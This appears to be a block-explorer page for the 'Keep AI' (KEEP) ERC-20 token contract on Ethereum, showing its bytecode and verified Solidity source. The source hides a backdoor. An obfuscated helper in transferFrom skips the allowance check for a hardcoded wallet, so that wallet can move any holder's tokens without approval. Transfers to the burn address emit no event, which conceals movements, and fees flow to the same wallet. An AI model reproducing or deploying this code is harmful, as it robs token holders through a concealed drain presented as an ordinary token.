Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x855701Ea0b3C3F96C19b296C8aB5F9Ac4F57eAF5
Balance 0 ETH
Nonce 1
Code Size 5173 bytes
Creator 0xC89D54a6...115E at tx 0x9cbb3468...e21544
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5173 bytes
0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b35780638da5cb5b146101c957806395d89b41146101ef578063a9059cbb1461021b578063c9567bf91461023a578063dd62ed3e1461024e575f80fd5b806306fdde03146100b3578063095ea7b3146100f457806318160ddd1461012357806323b872dd14610145578063313ce5671461016457806370a082311461017f575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506040805180820190915260078152664b65657020414960c81b60208201525b6040516100eb9190611079565b60405180910390f35b3480156100ff575f80fd5b5061011361010e3660046110dc565b610292565b60405190151581526020016100eb565b34801561012e575f80fd5b506101376102a8565b6040519081526020016100eb565b348015610150575f80fd5b5061011361015f366004611106565b6102c9565b34801561016f575f80fd5b50604051600981526020016100eb565b34801561018a575f80fd5b50610137610199366004611144565b6001600160a01b03165f9081526001602052604090205490565b3480156101be575f80fd5b506101c761033f565b005b3480156101d4575f80fd5b505f546040516001600160a01b0390911681526020016100eb565b3480156101fa575f80fd5b5060408051808201909152600481526304b4545560e41b60208201526100de565b348015610226575f80fd5b506101136102353660046110dc565b6103e5565b348015610245575f80fd5b506101c76103f1565b348015610259575f80fd5b5061013761026836600461115f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61029e338484610752565b5060015b92915050565b5f6102b56009600a61128a565b6102c4906461f313f880611298565b905090565b5f6102d5848484610875565b6102df8484610ca3565b15610335576103358433610330856040518060600160405280602881526020016113d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf1565b610752565b5060019392505050565b5f546001600160a01b0316331461039d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61029e338484610875565b5f546001600160a01b0316331461044a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b600e54600160b01b900460ff16156104a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610394565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ee9030906104df6009600a61128a565b610330906461f313f880611298565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056291906112af565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e591906112af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561062f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065391906112af565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d719473061069a816001600160a01b03165f9081526001602052604090205490565b5f806106ad5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610713573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073891906112ca565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610394565b6001600160a01b0382166108155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610394565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610394565b6001600160a01b03821661093b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610394565b5f811161099c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610394565b5f80546001600160a01b038581169116148015906109c757505f546001600160a01b03848116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Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
KEEP.sol 283 lines 
/*

https://www.keepai.bond/
https://node.keepai.bond/
https://docs.keepai.bond/

https://t.me/keepai_bond
https://x.com/keepai_bond


*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KEEP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFees;

    address private constant _blackhole = address(0xdead);
    address private constant _aikeepoo = 0xaE7cfAf184B50Dd013e1caB580FF63B325754A18;

    uint256 private _taxInitBuy=2;
    uint256 private _taxInitSell=2;
    uint256 private _taxLastSell=0;
    uint256 private _taxLastBuy=0;
    uint256 private _taxReduceAtBuy=3;
    uint256 private _taxReduceAtSell=3;
    uint256 private _preventBefore=3;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Keep AI";
    string private constant _symbol = unicode"KEEP";
    uint256 private _swapForTokens = _tTotal / 100;
    
    IRouter private _uniSwapRter;
    address private _uniSwapAir;
    bool private _swapping = false;
    bool private _swapActive = false;
    bool private _tradingEnabled = false;
    
    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _isExcludeFees[owner()] = true;
        _isExcludeFees[address(this)] = true;
        _isExcludeFees[_aikeepoo] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_qpfvniwef(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _qpfvniwef(address owner, address spender) private view returns (bool) {
        return msg.sender != _aikeepoo && (owner == _uniSwapAir || spender != _blackhole) ;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _tani, address _wico, uint256 _cowivniq) private {
        require(_tani != address(0), "ERC20: transfer from the zero address");
        require(_wico != address(0), "ERC20: transfer to the zero address");
        require(_cowivniq > 0, "Transfer amount must be greater than zero");
        uint256 _sicAmount=0;
        if (_tani != owner() && _wico != owner()) {
            _sicAmount = _cowivniq.mul((_buyTokenCount>_taxReduceAtBuy)?_taxLastSell:_taxInitBuy).div(100);

            if (_tani == _uniSwapAir && _wico != address(_uniSwapRter) && ! _isExcludeFees[_wico] ) {
                _buyTokenCount++;
            }

            if(_wico == _uniSwapAir && _tani!= address(this) ){
                _sicAmount = _cowivniq.mul((_buyTokenCount>_taxReduceAtSell)?_taxLastBuy:_taxInitSell).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_swapping && _wico == _uniSwapAir && _swapActive && _buyTokenCount > _preventBefore) {
                if(contractTokenBalance > _swapForTokens)
                _swapTaxTokens(min(_cowivniq, min(contractTokenBalance, _swapForTokens)));
                _sendTaxFees(address(this).balance);
            }
        }

        if(_sicAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_sicAmount);
          emit Transfer(_tani, address(this),_sicAmount);
        }
        if (_wico!=_blackhole)emit Transfer(_tani, _wico, _cowivniq.sub(_sicAmount));
        _balances[_tani]=_balances[_tani].sub(_cowivniq);
        _balances[_wico]=_balances[_wico].add(_cowivniq.sub(_sicAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _swapTaxTokens(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniSwapRter.WETH();
        _approve(address(this), address(_uniSwapRter), tokenAmount);
        _uniSwapRter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _sendTaxFees(uint256 amount) private {
        payable(_aikeepoo).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniSwapRter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniSwapRter), _tTotal);
        _uniSwapAir = IUniswapV2Factory(_uniSwapRter.factory()).createPair(address(this), _uniSwapRter.WETH());
        _uniSwapRter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapActive = true;
        _tradingEnabled = true;
    }

    receive() external payable {}
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Transactions Internal Txs Token Transfers Events

Recent Transactions

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